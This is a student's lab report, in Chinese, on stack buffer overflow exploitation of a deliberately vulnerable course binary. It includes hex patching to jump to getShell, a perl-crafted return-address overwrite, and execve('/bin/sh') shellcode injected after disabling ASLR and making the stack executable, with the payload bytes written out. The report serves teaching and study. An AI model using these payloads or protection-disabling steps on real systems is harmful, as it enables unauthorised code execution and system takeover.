20252804 2025-2026-2 《网络攻防实践》实践九报告
1.实践内容
1.1 缓冲区溢出核心原理
攻击前提:
程序未对用户输入做长度校验,存在可写入的缓冲区。
攻击逻辑:
构造超长恶意数据,覆盖栈上的函数返回地址;
将返回地址篡改为恶意代码(Shellcode)的内存地址;
函数执行完毕后,跳转到 Shellcode 执行,获取系统控制权。
关键知识:
栈的结构(缓冲区、EBP、函数返回地址)、指令执行流程、内存寻址机制。
1.2 主流平台溢出利用技术
(1)Linux 平台栈溢出
核心:定位缓冲区地址,构造 payload 覆盖返回地址,跳转至 Shellcode。
关键:借助 JMP ESP 等指令精准跳转到恶意代码,适配系统内存布局。
(2)Windows 平台栈溢出
与 Linux 原理一致,因系统安全机制、内存管理不同,利用细节有差异。
经典技巧:从系统 DLL 中查找 JMP ESP 指令,绕过内存地址随机化的早期限制。
(3)堆溢出
针对堆内存的溢出攻击,难度高于栈溢出,利用堆管理机制漏洞实现代码执行。
是高级漏洞利用的核心技术,多用于复杂渗透场景。
1.3 缓冲区溢出防御技术
系统防护
栈不可执行(DEP):禁止栈区执行代码,阻断溢出后代码运行;
地址随机化(ASLR):随机化程序内存地址,让攻击者无法精准定位 Shellcode;
栈金丝雀(Canary):在栈中插入校验值,检测溢出行为。
开发防护
安全编码:严格校验输入长度,禁用 strcpy 等不安全函数;
编译器保护:开启栈保护、边界检查等编译选项。
2.实践过程
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
①按照实验要求修改文件名为学号,kali虚拟机主机名为自己姓名

②进入目标文件所在的文件夹,把pwn20252804这个程序的汇编代码反汇编出来,并且分页显示,方便逐行查看。
cd ~/Desktop
objdump -d pwn20252804 | more

③往下翻可以看到三个关键函数。getShell函数、foo函数和main函数。可以发现main 函数会主动调用foo,但程序里没有任何地方主动调用getShell。
漏洞点:foo 里的 gets() 函数导致栈溢出
攻击目标:利用栈溢出覆盖foo的返回地址,让程序执行完foo后,不回到main,而是跳转到getShell函数,从而拿到Shell。
确定getShell地址:0x0804847d

④打开pwn20252804文件,显示乱码后使用指令改成以16进制的形式打开。
vim pwn20252804
%!xxd


⑤修改 call 指令的偏移量,让函数返回时不再回到 main,而是直接跳去 getShell 函数。找到需要修改的地方,将d7 改为 c3。按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出。



⑥恢复再次把pwn20252804这个程序的汇编代码反汇编出来,发现确实已经修改。
objdump -d pwn20252804 | more

⑦运行pwn20252804程序,出现 /bin/sh,代表拿到shell,实验成功!

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注意:先要还原原文件pwn20252804
①使用gdb工具调试程序,先需要安装gdb,一直选择yes即可安装。
gdb pwn20252804

②查看程序信息。发现foo函数存在漏洞,超出部分将发生溢出,实验目标是覆盖返回地址。
缓冲区的起始地址是 ebp - 0x1c
返回地址的地址是 ebp + 4
两者之间的字节数差就是:偏移量 = (ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
objdump -d pwn20252804 | more

③使用gdb工具调试程序。再输入r运行。当输入 1111111122222222333333334444444455555555 时可以看到eip的值为0x35353535 。

④输入字符串 1111111122222222333333334444444412345678,那 1234 这四个数最终会覆盖到堆栈上的返回地址。因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell。

⑤前面已经确定getShell地址:0x0804847d,因此要输入11111111222222223333333344444444\x7d\x84\x04\x08。将要写入的字符串存到20252804txc_input文件中。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252804txc_input
xxd 20252804txc_input

⑥将20252804txc_input中的内容注入到pwn20252804中。输入常见指令测试是否拿到shell,成功!
(cat 20252804txc_input; cat) | ./pwn20252804

(3)注入一个自己制作的shellcode并运行这段shellcode。
①安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压。
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

②设置pwn20252804程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20252804
execstack -q pwn20252804

③查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

④使用输出重定向将perl生成的字符串存储到input_20252804文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252804

⑤文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252804进程号为28681
#终端1
(cat input_20252804;cat) | ./pwn20252804
#终端2
ps -ef | grep pwn20252804

⑥再开一个终端对pwn20252804文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。
gdb pwn20252804
attach 28681
disassemble foo
break *0x080484ae

⑦终端1按回车后,再终端2输入c 继续运行。查看栈顶指针所在的位置为0xffffcf6c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf6c + 4 = 0xffffcf70,是0xffffcf70。
info r esp
x/16x 0xffffcf6c

⑧退出gbd调试,重新构造 input_20252804文件。并输入常见指令测试是否拿到shell,成功!
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20252804
(cat input_20252804;cat) | ./pwn20252804
ls
whoami

3.学习中遇到的问题及解决
-
问题1:一开始直接使用指令
sudo apt install execstack安装execstack失败 -
问题1解决方案:询问ai给出建议,要使用Ubuntu的仓库和镜像,可以快速下载
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb -
问题2:输入指令
sudo echo "0" > /proc/sys/kernel/randomize_va_space时会报错zsh: permission denied: /proc/sys/kernel/randomize_va_space -
![image]()
-
问题2解决方案:询问ai给出建议, sudo echo 的重定向是在当前shell执行的,没有sudo权限。换为
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space -
![image]()
4.实践总结
本次实验我掌握了反汇编、二进制修改、栈缓冲区溢出利用、shellcode 注入执行等核心技能,理解了程序执行流程劫持与 Linux 二进制漏洞利用的基础原理。回顾了汇编语言、十六进制计算、gdb调试相关知识点。


浙公网安备 33010602011771号